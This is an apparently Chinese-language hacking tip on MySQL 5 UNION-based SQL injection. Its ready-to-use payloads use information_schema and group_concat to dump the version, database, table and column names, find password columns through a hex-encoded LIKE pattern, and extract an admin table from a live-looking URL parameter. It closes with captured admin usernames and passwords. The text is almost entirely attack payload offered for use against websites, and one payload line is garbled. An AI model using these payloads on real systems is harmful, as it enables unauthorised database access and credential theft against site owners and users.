对mysql5注入时,可以直接查询information_schema中的tables表,快速找到所需的表段。同时可以利用group_concat函数,得到你想得到的东西,不用limit一个一个猜。
前面先转转别人的东西
and/**/1=2/**/union/**/select/**/1,2,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18�
一次暴完表名,版本,数据库名
and/**/1=2/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/from/**/information_schema.tables/**/where/**/table_schema=database()--
暴当前库所有表名
一般来说如里表太多,不能一次暴完,就要加limit语句了,10个10个来
and/**/1=2/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/(select * from information_schema.tables where table_schema=database() limit 0,10) as test --
and/**/1=2/**/union/**/select/**/1,2,group_concat(column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/from/**/information_schema.columns/**/where/**/table_name=(表的HEX值)-- 暴表所有列 个人以为,其实如果只要找后台密码,暴所有表名纯是多余。ORACLE注入是,可以快速定位PASS字段在那个表中,mysql5也是可以的。 and 1=2 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where TABLE_SCHEMA =database() and COLUMN_NAME like 0x257061737325(%pass%的HEX值)-- 直接暴出包含有pass字段的表名,然后再爆此表的所有列名。 id=106522%20and%201=2%20union%20select%201,2,group_concat(admin_id,0x7C7C,admin_pass),4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18 from admin-- 暴出所有用户名和密码,如下: admin||adminweb,jung||jung1979